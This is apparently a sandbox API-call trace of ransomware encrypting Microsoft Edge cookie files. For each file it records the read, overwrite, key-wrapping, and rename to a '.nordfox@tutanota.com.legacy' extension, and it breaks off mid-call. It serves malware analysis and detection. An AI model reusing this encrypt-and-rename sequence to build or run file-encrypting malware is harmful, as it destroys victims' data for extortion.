[0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d3ee2ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d3ee2ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d3ee2ef, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="XQSRME5N.cookie", cAlternateFileName="XQSRME~1.COO")) returned 1 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4bd7518, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4bd7518, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4be115d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="YGM53NMZ.cookie", cAlternateFileName="YGM53N~1.COO")) returned 1 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.670] SetLastError (dwErrCode=0x0) [0192.670] GetLastError () returned 0x0 [0192.670] SetLastError (dwErrCode=0x0) [0192.670] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa655339a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa655339a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa655339a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Z5HJPQER.cookie", cAlternateFileName="Z5HJPQ~1.COO")) returned 1 [0192.670] SetLastError (dwErrCode=0x0) [0192.670] GetLastError () returned 0x0 [0192.670] SetLastError (dwErrCode=0x0) [0192.670] GetLastError () returned 0x0 [0192.670] SetLastError (dwErrCode=0x0) [0192.670] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa655339a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa655339a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa655339a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Z5HJPQER.cookie", cAlternateFileName="Z5HJPQ~1.COO")) returned 0 [0192.670] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30f3bc8 | out: pbBuffer=0x30f3bc8) returned 1 [0192.670] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.670] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie", dwFileAttributes=0x80) returned 1 [0192.671] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.672] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=175) returned 1 [0192.672] ReadFile (in: hFile=0x1b8c, lpBuffer=0x2f6f0c0, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6f0c0*, lpNumberOfBytesRead=0x2e1f9bc*=0xaf, lpOverlapped=0x0) returned 1 [0192.672] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-175, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.673] WriteFile (in: hFile=0x1b8c, lpBuffer=0x2f6f738*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6f738*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaf, lpOverlapped=0x0) returned 1 [0192.673] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaf [0192.673] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.673] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f3bc8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30f3bc8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.673] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30f3bc8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3bc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.673] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.673] CloseHandle (hObject=0x1b8c) returned 1 [0192.673] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\Z5HJPQER.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\z5hjpqer.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.675] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e8f8 | out: pbBuffer=0x60e8f8) returned 1 [0192.675] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.675] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie", dwFileAttributes=0x80) returned 1 [0192.676] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.676] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=97) returned 1 [0192.676] ReadFile (in: hFile=0x1b8c, lpBuffer=0x56f118, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x61, lpOverlapped=0x0) returned 1 [0192.677] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-97, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.677] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x61, lpOverlapped=0x0) returned 1 [0192.677] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x61 [0192.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.678] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e8f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e8f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.678] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e8f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e8f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.678] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.678] CloseHandle (hObject=0x1b8c) returned 1 [0192.678] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.682] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0192.682] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie", dwFileAttributes=0x80) returned 1 [0192.683] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.683] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=110) returned 1 [0192.683] ReadFile (in: hFile=0x1b8c, lpBuffer=0x30ef4d8, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef4d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x6e, lpOverlapped=0x0) returned 1 [0192.684] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.684] WriteFile (in: hFile=0x1b8c, lpBuffer=0x30ef7a8*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef7a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6e, lpOverlapped=0x0) returned 1 [0192.684] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6e [0192.684] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.684] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.684] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.685] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.685] CloseHandle (hObject=0x1b8c) returned 1 [0192.685] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e6e8 | out: pbBuffer=0x60e6e8) returned 1 [0192.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie", dwFileAttributes=0x80) returned 1 [0192.689] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.689] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=87) returned 1 [0192.689] ReadFile (in: hFile=0x1b8c, lpBuffer=0x56f118, nNumberOfBytesToRead=0x57, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x57, lpOverlapped=0x0) returned 1 [0192.690] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-87, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.690] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x57, lpOverlapped=0x0) returned 1 [0192.690] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x57 [0192.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e6e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.691] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60e6e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e6e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.691] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.691] CloseHandle (hObject=0x1b8c) returned 1 [0192.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.692] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d770 | out: pbBuffer=0x60d770) returned 1 [0192.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.693] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie", dwFileAttributes=0x80) returned 1 [0192.693] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.694] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=461) returned 1 [0192.694] ReadFile (in: hFile=0x1b8c, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cd, lpOverlapped=0x0) returned 1 [0192.695] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.695] WriteFile (in: hFile=0x1b8c, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1cd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cd, lpOverlapped=0x0) returned 1 [0192.695] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cd [0192.695] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.695] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d770*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.695] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60d770*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d770*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.696] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.696] CloseHandle (hObject=0x1b8c) returned 1 [0192.696] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60dda0 | out: pbBuffer=0x60dda0) returned 1 [0192.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0192.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt", dwFileAttributes=0x80) returned 1 [0192.698] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0192.699] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=102) returned 1 [0192.699] ReadFile (in: hFile=0x1b8c, lpBuffer=0x56f118, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x66, lpOverlapped=0x0) returned 1 [0192.700] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=-102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.700] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x66, lpOverlapped=0x0) returned 1 [0192.700] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x66 [0192.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60dda0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.700] WriteFile (in: hFile=0x1b8c, lpBuffer=0x60dda0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.700] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.700] CloseHandle (hObject=0x1b8c) returned 1 [0192.701] MoveFileExW 